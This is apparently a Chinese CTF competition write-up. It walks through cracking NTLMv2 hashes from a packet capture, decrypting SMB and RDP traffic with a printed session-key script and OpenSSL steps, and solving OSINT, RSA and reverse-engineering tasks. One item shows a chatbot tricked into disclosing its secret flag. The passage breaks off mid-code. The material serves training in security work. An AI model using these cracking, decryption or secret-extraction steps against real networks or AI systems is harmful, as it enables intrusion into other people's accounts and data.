Yikjiang2026-06-30文章来源：SecHub网络安全社区
问题描述即为Flag
flag{We1c0mE_T0_Qi@nGwangCuP_S8_H0pe_yOu_w1IL_L1kE_iT!}
填写调查问卷后Base64解码获取Flag
1、协议分析，发现有两个登录用户
2、导出ntml数据
https://github.com/mlgualtieri/NTLMRawUnhide
abcdefgh::.:948b51874d5c190c:a34b79f6c9fe4a1e4401b6f04b0f4423:0101000000000000106c950cb92adb01b8926c1772e66b3f0000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d00520007000800106c950cb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
tom::.:c1dec53240124487:ca32f9b5b48c04ccfa96f35213d63d75:010100000000000040d0731fb92adb01221434d6e24970170000000002001e004400450053004b0054004f0050002d004a0030004500450039004d00520001001e004400450053004b0054004f0050002d004a0030004500450039004d00520004001e004400450053004b0054004f0050002d004a0030004500450039004d00520003001e004400450053004b0054004f0050002d004a0030004500450039004d0052000700080040d0731fb92adb0106000400020000000800300030000000000000000100000000200000bd69d88e01f6425e6c1d7f796d55f11bd4bdcb27c845c6ebfac35b8a3acc42c20a001000000000000000000000000000000000000900260063006900660073002f003100370032002e00310036002e003100300035002e003100320039000000000000000000
3、获取到了两个用户的hash值，爆破密码
babygirl233
4、解密smb流量
利用脚本，解密smb流量
#!/usr/bin/env python3
"""
This is a Python3 improved/interactive version of the script made by khr0x40sh for decrypting encrypted session keys in a PCAP file to view encrypted traffic.
If you don't specify the parameters, it should ask you for the parameter values.
It will check to see if pycryptodomex is installed, and if not, it will install it.
It can also accept NTML hashes directly as well as passwords.
Usage:
python3 script_name.py -u USER -d DOMAIN -p PASSWORD -n NT_PROOF_STR -k ENCRYPTED_SESSION_KEY
Example:
python3 script_name.py -u alice -d EXAMPLE -p secret123 -n aabbccddeeff00112233445566778899 -k aabbccddeeff00112233445566778899
Description:
This script calculates the Random Session Key based on data extracted from a PCAP file (possibly).
It uses the NTLM hash of the user's password, NTProofStr, and an encrypted session key to generate a session key via RC4 encryption.
"""
import sys
import subprocess
import hashlib
import hmac
import argparse
import binascii
# Add user's local site-packages to sys.path
import site
site.addsitedir(site.getusersitepackages())
# Function to install pycryptodomex
def install_pycryptodomex():
try:
# Check if pip is installed
subprocess.check_call([sys.executable, "-m", "pip", "--version"])
except subprocess.CalledProcessError:
print("Error: pip is not installed. Please install pip first.")
sys.exit(1)
# Attempt to install pycryptodomex
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", "--user", "pycryptodomex"])
except subprocess.CalledProcessError:
print("Failed to install pycryptodomex. Please install it manually using 'pip install pycryptodomex'.")
sys.exit(1)
# Attempt to import Cryptodome, install if missing
try:
from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import MD4
except ImportError:
print("pycryptodomex is not installed. Attempting to install it now...")
install_pycryptodomex()
# Try importing again after installation
try:
from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import MD4
except ImportError:
print("Failed to import pycryptodomex after installation. Please install it manually.")
sys.exit(1)
def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
cipher = ARC4.new(keyExchangeKey)
cipher_encrypt = cipher.encrypt
sessionKey = cipher_encrypt(exportedSessionKey)
return sessionKey
def md4_hash(data):
"""Calculate MD4 hash using pycryptodomex."""
hash_obj = MD4.new()
hash_obj.update(data)
return hash_obj.digest()
# Argument parser
parser = argparse.ArgumentParser(description="Calculate the Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u", "--user", help="User name (prompted if not provided)")
parser.add_argument("-d", "--domain", help="Domain name (prompted if not provided)")
parser.add_argument("-p", "--password", help="Password of User or NTLM hash (prompted if not provided)")
parser.add_argument("-n", "--ntproofstr", help="NTProofStr (Hex Stream) (prompted if not provided)")
parser.add_argument("-k", "--key", help="Encrypted Session Key (Hex Stream) (prompted if not provided)")
parser.add_argument("-v", "--verbose", action="store_true", help="Increase output verbosity")
args = parser.parse_args()
# Prompt interactively if arguments are missing
if not args.user:
args.user = input("What is the username of the user? ").strip()
if not args.domain:
args.domain = input("What is the workgroup (domain)? ").strip()
if not args.password:
args.password = input("What is the password of the user or NTLM hash? ").strip()
if not args.ntproofstr:
args.ntproofstr = input("What is the NTProofStr (Hex Stream)? ").strip()
if not args.key:
args.key = input("What is the Encrypted Session Key (Hex Stream)? ").strip()
# Determine if password is provided as NTLM hash or plaintext password
if len(args.password) == 32 and all(c in '0123456789abcdefABCDEF' for c in args.password):
# Use provided NTLM hash
password = binascii.unhexlify(args.password)
else:
# Treat as plaintext password
passw = args.password.encode('utf-16le')
password = md4_hash(passw)
# Convert NTProofStr and Key from hex to binary data
try:
NTproofStr = binascii.unhexlify(args.ntproofstr)
key = binascii.unhexlify(args.key)
except binascii.Error:
print("Error: NTProofStr or Encrypted Session Key is not a valid hex string.")
sys.exit(1)
# Calculate the ResponseNTKey
h = hmac.new(password, digestmod=hashlib.md5)
h.update(args.user.upper().encode('utf-16le') + args.domain.upper().encode('utf-16le'))
respNTKey = h.digest()
# Use NTProofStr and ResponseNTKey to calculate Key Exchange Key
h = hmac.new(respNTKey, digestmod=hashlib.md5)
h.update(NTproofStr)
KeyExchKey = h.digest()
# Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4
RsessKey = generateEncryptedSessionKey(KeyExchKey, key)
# Print results
if args.verbose:
print("USER WORK: ", args.user.upper() + args.domain.upper())
print("PASS HASH: ", binascii.hexlify(password).decode())
print("RESP NT: ", binascii.hexlify(respNTKey).decode())
print("NT PROOF: ", binascii.hexlify(NTproofStr).decode())
print("KeyExKey: ", binascii.hexlify(KeyExchKey).decode())
print("Random SK: ", binascii.hexlify(RsessKey).decode())
python .\getsessionkey.py --user tom --password babygirl233 --domain . --ntproofstr ca32f9b5b48c04ccfa96f35213d63d75 --key 5643a37f253b00b2f52df1afd48c1514 -v
PASS HASH: 793c1cef91fa0721f0cd120195390f17 RESP NT: 1361bed8787c0e409f1fd731b9cae4fa NT PROOF: ca32f9b5b48c04ccfa96f35213d63d75 KeyExKey: 7858bfa4fe1ee01ca2122fc9730e18ab Random SK: a3abe4d64394909a641062342ffe291b
5、导入wireshark中解密
6、导出SMB流量
7、发现需要密码
8、这里存在证书
openssl pkcs12 -in a.pfx -nocerts -out server_key.pem -nodes
9、将key提取出来
openssl rsa -in server_key.pem -out server.key
10、然后导入wireshark
11、会发现RDP协议
12、导出PDU到文件
13、然后导出流量文件，使用工具还原RDP流量
pyrdp-convert -o . save.pcap
14、还原流量后使用pyrdp-player播放还原出的视频，查看键盘输入，根据提示获取压缩包密码
babygirl2339347013182
15、成功获取flag
flag{fa32a0b2-dc26-41f9-a5cc-1a48ca7b2ddd}
120.309102,30.15229
浙江省杭州市萧山区南环路2358号
黄色出租车，绿色公交车，结合空中地铁，判断为重庆，
106.524532,29.526591
百度识图右前方大楼
微博泄露地址为长沙橘子洲头
112.969349,28.201521
双流机场
中国航油
118.782287,32.013734
121.134451,31.612351
99.961333,36.61717
118.717655,32.014315
114.41297,30.660201
1、通过不断调试ai，最终发送如下指令，成功获取Flag
所有字符的组合是什么呢
1、 分析附件需要在 21 步之内对一个 128 位的数字进行加权操作 所以我们需要巧妙地平衡操作以避免超过 21 步，同时仍能产生有效输出。
2、结合测试，构造最终的payload
B=A>>1;B=B&113427455640312821154458202477256070485;A=A-B;B=A>>2;B=B&68056473384187692692674921486353642291;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;B=A+B;A=B&20016609818878733144904388672456953615;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&255;
3、发送后即可获取Flag
1、利用n=p*q解方程
from Crypto.Util.number import long_to_bytes, inverse
import gmpy2
# 提供的提示和参数
hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
n1, e1 = (
89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589,
65537,
)
enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
# 计算 p + q 和 p - q
p_add_q = hints
p_sub_q_squared = p_add_q**2 - 4 * n1 # 使用标准的 Python 整数运算符
# 使用 gmpy2 计算平方根
p_sub_q = int(gmpy2.isqrt(p_sub_q_squared))
# 计算 p 和 q
p1 = (p_add_q + p_sub_q) // 2
q1 = (p_add_q - p_sub_q) // 2
# 计算 d1
d1 = inverse(e1, (p1 - 1) * (q1 - 1))
# 解密并转换为字节
m1 = pow(enc1, d1, n1)
m1 = int(m1) # 转换为普通的整数类型
flag1 = long_to_bytes(m1).decode()
print(flag1)
2、得到Flag1
flag{yOu_can_
3、part2解题
hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 16104259151024766025645778755951638093681273234415510444173981198301666343334808614748361662637508091511498829253677167171091582942780017355912433497214576425697459483727777273045993446283721290714044600814203, 14560242181138184594433372530956542527312169507277535425067427080573272033961044062335960097446781943943464713852520415535775461964590009720592053626735276833191667395201287169782350381649400286337671320581068, 16239347596615402699390026749150381714807445218767496868569282767673828662340774349530405347667558555781433774705139593469838946201218537641296949822639509296966092138954685186059819628696340121356660166937131, 21344472317634795288252811327141546596291633424850284492351783921599290478005814133560171828086405152298309169077585647189366292823613547973428250604674234857289341613448177246451956695700417432794886277704716, 16053809990112020217624905718566971288375815646771826941011489252522755953750669513046736360397030033178139614200701025268874379439106827823605937814395162011464610496629969260310816473733828751702925621950679, 18917855883623050190154989683327838135081813638430345099892537186954876489710857473326920009412778140451855952622686635694323466827034373114657023892484639238914593012175120540210780102536003758794571846502397, 22690171278715056779052233972642657173540399024770527983659216197108042021644328773010698851143953503599329885607621773816718008861742027388432534850163666629476315340137626681994316866368449548292328156728206, 21087818524872480052313215092436868441694786060866149491087132591272640372512484925209820065536439188250579925233059144898601140234767300574307770064543499923712729705795392684173268461519802573563186764326797, 18439753470094841291394543396785250736332596497190578058698960152415339036714664835925822942784700917586270640813663002161425694392259981974491535370706560550540525510875465091384383255081297963169390777475352, 20105719699015744146039374208926740159952318391171137544887868739518535254000803811729763681262304539724253518465850883904308979964535242371235415049403280585133993732946919550180260852767289669076362115454200, 17251599484976651171587511011045311555402088003441531674726612079301412643514474016351608797610153172169183504289799345382527665445027976807805594288914226822374523878290416047130731166794970645275146679838899, 23027331991437585896233907022469624030630702237261170259290872847355304456043379238362120518409085840638396736666056992747627271193089116095167049248270541979716594671069985183070290375121270398623215587207529, 18158149685496169798299129683009221264185608469410295069411669832919646968324946121757411511373498747604679198739125835462814352243797919744572086307939585501566092705355693015625009717017077302201663788208609, 18276153196656501517216055049560959047263892309902154534799806637704337317207294332426798932144785240877892837491213916540255237702169595754963908689566362060228840286531616263506272071630209104758589482803348, 19830654702835464289082520892939657653574451119898587213320188332842291005863699764597454403874285715252681820027919359194554863299385911740908952649966617784376852963552276558475217168696695867402522508290055, 15349828226638644963106414986240676364822261975534684137183044733508521003843559094515387144949811552173241406076270015291925943459603622043168219534080772937297911323165839870364550841685270125556125756627553, 20923687596111161976478930953796496927811701530608223491138786355445002217973253897724452954815797952200740069102515860924306246841340715110620719064010080520601890251137419840158983682372232110885549732743013, 21095748006022412831703352650023882351218414866517568822818298949510471554885207645049385966827210564667371665855668707424105040599599901165292360321667007968065708796593851653085339928947755081203265281357013, 20136320433636422315432754195821125224777716034031656342233368000257459497472596860252592531939146543685406198978058242599116859263546329669263543660114747385041549283367183026001454445297981439938401547228229, 16496919752274418275948572022974868132658743151124597724312835413857298109100258912203517423633396955060591787380445877361136405137884456764770035346437177846666365911942996404514058688909577420388537479730705, 13788728438272498164727737074811797093818033799836159894472736480763530670013682288670889124484670336660448907074673625466218166413315342420667608074179975422284472184048790475129281850298519112884101776426380, 24852871485448795332267345793743281093931161235481251209948049584749441451621572752080662697610253315331335180611651946374137068256112152253681972406000252076016099200912670370417045090034045383991812756120791, 18663346319122078996775762643035864683521213720864038756854558668694021987970601131985163948257100423991091156649638455828855082098689641225427227191064496066436196910238564311309556938903101074363279783438714, 21400068681031931459396470039651524575262457489792894764406364952394476440804779651233022862527636114968325782197380721095406628084183336358459476006267416033892771932528688312375109463803215034905281657962293, 16044158155847172030103761204572942507195578382208455423846603003318483484698088948486132040995746837257705704187725306831142305215342467016564452582165866039427184607605673304595194959499145031211096109534167, 16518253246325822837502418827700493807621067058438396395472266350036385535241769917459657069911028720968654253735107131282350340465691670072304718987805883113410923109703284511709226857412404454224134480632696, 22032469066601123287586507039704080058983969235246539501189720236880312024198451198788699002335010120658564926677243708367430773661097221076615953342733896063909953602379936312639192315223258556134958059637605, 17474611942177808070315948910226643697957069578572244709354155010512694059987765040746148981545760660371360975936526076852619987733316042847813177383519241505024635332293992920023420060610648140841369822739716, 20097265939024591617239874622716452182434300498447992668997438018575636772416262543204370899462096267444545094719202447520254303983442269757551626971917981420832391886214473318353984504467919530676605744560570, 18170251482705061226968041449812078923477452841162650888922564215790088545936753453513162197661916172215859504545409274440450807677845894292177296835154674774694992388033874349807244020099167681146357128785394, 18084007437523118129421476751918491055914528331902780911288404344016551650138679157754567938593688369062981279371320169939281882307797009116458871503759873023914718337944953764426183937635379280572434676575757, 17001811604221128900675671565539617923973183364469396458234914432162200119518252971721448274846235879320362924206656971472493711107677598961463553324277826426691784458674010708635756004550789902368338633272118, 20217009574515126619724139485885721324936960849401637840860565569588595992087537454744066905387396266844236387315004915383456736142307523960394594650088663019228826091309049211780607761862663242437656610298243, 25534440916970201550118006203706860249111087748000550226680885431006136131742280963090650607632467666558508520152535105122661615376298673454198064361094319699307084117001019115669670029195171047304283891069792, 18871869316294018605789169171879572816494092699556970507058691345095743053290043643010965660058888064972257990750611470141816041727746767146945121588515830427165739580791663951175220638901672353681640741068573, 20173968537913641339915058056878181363456579537994317562789857397928196160113042659777558550242315788417022891612723148843142958668959046890197219991727894451795438138592005695329607326086644956073759609743066, 20601943394990265144021144365970164017319737300436518536503270346147112565303361487668388700369636611354280332841812324530501569200031186584749278453651172121161814207025650519637781007286435981682228528706305, 16397528630087028144645213166977866073543422560337716097539091258081008408890966764995645782823950721804205427713461441138000880478364026137452291234097219085473748076681729365744710225699866258812642458184750, 21373350333568141000876969785296802670776508778278005158047105058430550665787088265486222905402690421155861103648370249249790560185790723042867282734693553039477436055775198037042047438047898227097749354619822, 17767469767416052322357795736899648760868316512079849340028040817353808899589201201338152114229279980849491049574543361275046276135253417685681262008211582060955974064559129311524323185960856955462761555353091, 22148352529815091269441663541923247974004854058764556809596705832663604786920964849725772666340437231503146814919702525852955831173047034475925578238466977606367380212886384487294569287202762127531620290162734, 21663842528026621741414050256553652815372885707031383713657826718944735177083300302064509342116651731671570591336596953911570477161536730982887182434407761036442993588590230296643001682944654490645815177777455, 20219077358929317461660881724990436334639078047412693497584358963241840513748365548465302817975329987854784305275832045889690022909383530837382543579292451297269623663257098458645056099201050578472103957851128, 18255302182526662903763852563401346841065939531070045000414364747445988455597258924280193695407035356029557886165605853810182770534711966292253269625917149411889979307227493949293798772727125069093642134972336, 24926064145128749429079117171467042019887257504329103038171762786986349157515552927216574990423327013202735544601170247730647598931030432792167867343343213411600516855009788294067588153504026267213013591793027, 22369607314724468760253123915374991621544992437057652340350735935680183705467064876346663859696919167243522648029531700630202188671406298533187087292461774927340821192866797400987231509211718089237481902671100, 16994227117141934754898145294760231694287000959561775153135582047697469327393472840046006353260694322888486978811557952926229613247229990658445756595259401269267528233642142950389040647504583683489067768144570, 21758885458682118428357134100118546351270408335845311063139309657532131159530485845186953650675925931634290182806173575543561250369768935902929861898597396621656214490429009706989779345367262758413050071213624, 20156282616031755826700336845313823798147854495428660743884481573484471099887576514309769978525225369254700468742981099548840277532978306665910844928986235042420698332201264764734685502001234369189521332392642, 23291765247744127414491614915358658114280269483384022733002965612273627987872443453777028006606037159079637857473229879140366385523633075816362547967658930666106914269093225208138749470566410361196451552322613, 19807792217079652175713365065361659318870738952921195173619551645956745050506271953949139230097128034416815169649874760890189515620232505703162831090225715453502422905418824316957257395992121750661389503495033, 22074209373194902539215367382758486068533032275912313703269990627206774967653336496619231924013216321042649461711292555464574124714934511202231319963361912937842068483700298097209400217869036338644607607557860, 19678336511265998427322297909733474384702243426420286924671444552444079816707773485084891630780465895504253899943221044355971296122774264925882685351095921532685536165514189427245840338009573352081361238596378, 24746314790210393213546150322117518542380438001687269872679602687597595933350510598742749840102841364627647151669428936678130556027300886850086220074563664367409218038338623691372433831784916816798993162471163, 19346137206512895254202370018555139713690272833895195472766704715282164091959131850520571672509601848193468792313437642997923790118115476212663296111963644011010744006086847599108492279986468255445160241848708, 22739514514055088545643169404630736699361136323546717268615404574809011342622362833245601099992039789664042350284789853188040159950619203242924511038681127008964592137006103547262538912024671048254652547084347, 21491512279698208400974501713300096639215882495977078132548631606796810881149011161903684894826752520167909538856354238104288201344211604223297924253960199754326239113862002469224042442018978623149685130901455, 19381008151938129775129563507607725859173925946797075261437001349051037306091047611533900186593946739906685481456985573476863123716331923469386565432105662324849798182175616351721533048174745501978394238803081, 19965143096260141101824772370858657624912960190922708879345774507598595008331705725441057080530773097285721556537121282837594544143441953208783728710383586054502176671726097169651121269564738513585870857829805]
n, e = (73566307488763122580179867626252642940955298748752818919017828624963832700766915409125057515624347299603944790342215380220728964393071261454143348878369192979087090394858108255421841966688982884778999786076287493231499536762158941790933738200959195185310223268630105090119593363464568858268074382723204344819, 65537)
enc2 = 30332590230153809507216298771130058954523332140754441956121305005101434036857592445870499808003492282406658682811671092885592290410570348283122359319554197485624784590315564056341976355615543224373344781813890901916269854242660708815123152440620383035798542275833361820196294814385622613621016771854846491244
V = hints[:4]
k = 2^800
M = Matrix.column([k * v for v in V]).augment(Matrix.identity(len(V)))
B = [b[1:] for b in M.LLL()]
M = (k * Matrix(B[:len(V)-2])).T.augment(Matrix.identity(len(V)))
B = [b[-len(V):] for b in M.LLL() if set(b[:len(V)-2]) == {0}]
for s, t in itertools.product(range(4), repeat=2):
T = s*B[0] + t*B[1]
a1, a2, a3, a4 = T
kq = gcd(a1 * hints[1] - a2 * hints[0], n)
if 1 < kq < n:
print('find!', kq, s, t)
break
for i in range(2**16,1,-1):
if kq % i == 0:
kq //= i
q = int(kq)
p = int(n // kq)
d = pow(0x10001, -1, (p - 1) * (q - 1))
m = int(pow(enc2, d, n))
flag2 = long_to_bytes(m).decode()
4、获取到flag2
find! 9067773077510925207378520309595658022345214442920360440202890774224295250116442048990578009377300541280465330975931465993745130297479191298485033569345231 0 1
5、part3
enc3 = 17737974772490835017139672507261082238806983528533357501033270577311227414618940490226102450232473366793815933753927943027643033829459416623683596533955075569578787574561297243060958714055785089716571943663350360324047532058597960949979894090400134473940587235634842078030727691627400903239810993936770281755
flag3 = long_to_bytes(int(pow(enc3,d,n))).decode()
print(flag1 + flag2 + flag3)
6、最终得到flag
flag{yOu_can_s0lve_the_@pbq_prob1em!!}
1、nc获取密文
N=17273585893567654997237824068613102340755841747086269737407491313932648934663625111943342115438397132801050188185654
1426822848859652032808773433030933760536447244462773307593429353905181595991141683909160738884140435208248581655690134
4554445221556311272250268449607698473217723507592092961865124657882511504473647536542253898781569608268090076026582015
4979162777104211808360130977475612004180543601831164744108092459084456589706840999712643104715836640520663667031853768
0965615669659887219053344059478606395955445386697437574472934430330716943284780780263315280386713246877000351495885409
72462275609593047902234832579
e=65537
g=19327893666661784343868270928398892005829050846820301849369828246920134480136128233826468013253436618909818990233724
07333887359641369918664288571757103
enc=564635910295545731017230052836827643774047349884660985843451245389490152606280962204584144903874117082506114590213
8333794848684723986535670510803337505489497074318721727772723225082160794399498125264282388851816296440701269643695978
9938554707468825997067662082849215984453880952200259769250260974813353155362127339625962808690769605801984884265900027
6122447866055523814260285901553450286045132376391434537846993256701929160346858774761035330809200684288247124202414406
0310343703355345452499941124295487982321633067974420190789994504984213021668333433767065239417620666245673765937254221
875707962728032083843248023842
2、根据给出的加密代码进行逆向获取解密代码
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert
N = mpz("17273585893567654997237824068613102340755841747086269737407491313932648934663625111943342115438397132801050188185654142682284885965203280877343303093376053644724446277330759342935390518159599114168390916073888414043520824858165569013445544452215563112722502684496076984732177235075920929618651246578825115044736475365422538987815696082680900760265820154979162777104211808360130977475612004180543601831164744108092459084456589706840999712643104715836640520663667031853768096561566965988721905334405947860639595544538669743757447293443033071694328478078026331528038671324687700035149588540972462275609593047902234832579")
g = mpz("1932789366666178434386827092839889200582905084682030184936982824692013448013612823382646801325343661890981899023372407333887359641369918664288571757103")
e = 65537
ENC = mpz("5646359102955457310172300528368276437740473498846609858434512453894901526062809622045841449038741170825061145902138333794848684723986535670510803337505489497074318721727772723225082160794399498125264282388851816296440701269643695978993855470746882599706766208284921598445388095220025976925026097481335315536212733962596280869076960580198488426590002761224478660555238142602859015534502860451323763914345378469932567019291603468587747610353308092006842882471242024144060310343703355345452499941124295487982321633067974420190789994504984213021668333433767065239417620666245673765937254221875707962728032083843248023842")
h = (N - 1) // g
u = h // g
v = h % g
def Solve_c(start_r=5100,start_s=2000):
# Calculate approximate square root of N
sqrt_N = iroot(mpz(N), 2)[0]
C_approx = sqrt_N // (g * g) # 确保结果为整数
a = 2
b = powmod(a, g, N)
# Loop over possible values of C
for i in range(2, int(C_approx) + 1): # 使用 int() 将 C_approx 转换为整数
D = (iroot(C_approx, 2)[0] + 1) * i
final = powmod(b, u, N)
for r in range(5100,int(D)):
print(f"Checking r*D for i={i}: {r * D}")
for s in range(2000,int(D)):
if powmod(b, r * D + s, N) == final:
print("Solution found: r =", r, "s =", s, "i =", i)
return r * D + s
c = Solve_c()
print("c:", c) # Expected output: c = 51589121
A = u - c # x * y = u - c
B = v + c * g # x + y = v + c * g
delta = iroot(B * B - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2
a = x // 2
b = y // 2
p = 2 * g * a + 1
q = 2 * g * b + 1
d = invert(e, (p - 1) * (q - 1))
m = powmod(ENC, d, N)
print("Decrypted message:", long_to_bytes(m))
1、下载附件后，使用IDA打开
1、经过分析，发现这是一个类似于 RC4 的加密方式。尝试直接修补输入以匹配结果，但未能成功，因此手动还原了加密代码。由于结果与输入存在一对一的关系，因此进行了爆破尝试。然而，动态的 XOR 目标导致几次调试后得到的爆破结果并不正确。推测可能是 XOR 处理存在问题，因此尝试对 XOR 进行了爆破：当 XOR 值为 0x0a 时，成功获取到了 flag。
2、编写EXP
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// 定义常量数组 deadbeef，包含特定的十六进制值
unsigned char deadbeef[256] = {0xDE, 0xAD, 0xBE, 0xEF};
// 函数用于对输入字符串进行加密，使用指定的 XOR 值
char *enc(char *input, int xor) {
// SBox 用于在加密过程中进行替换
unsigned char SBox[256] = {
// （省略，为简洁起见；填入完整的 SBox 初始化）
};
int i, j, v5 = 0, v6 = 0; // 循环控制和状态变量
unsigned char v7 = 0, v8 = 0, temp = 0, temp2 = 0, temp3 = 0, t1 = 0;
unsigned char *v14 = (char *)malloc(256); // 为加密输出分配内存
unsigned char v12, v3;
// 初始化 SBox 以进行加密
for (j = 0; j < 22; j++) {
v12 = SBox[++v7]; // 更新 SBox 索引
v8 += v12; // 更新第二索引
SBox[v7] = SBox[v8]; // 交换 SBox 中的值
SBox[v8] = v12; // 继续操作 SBox
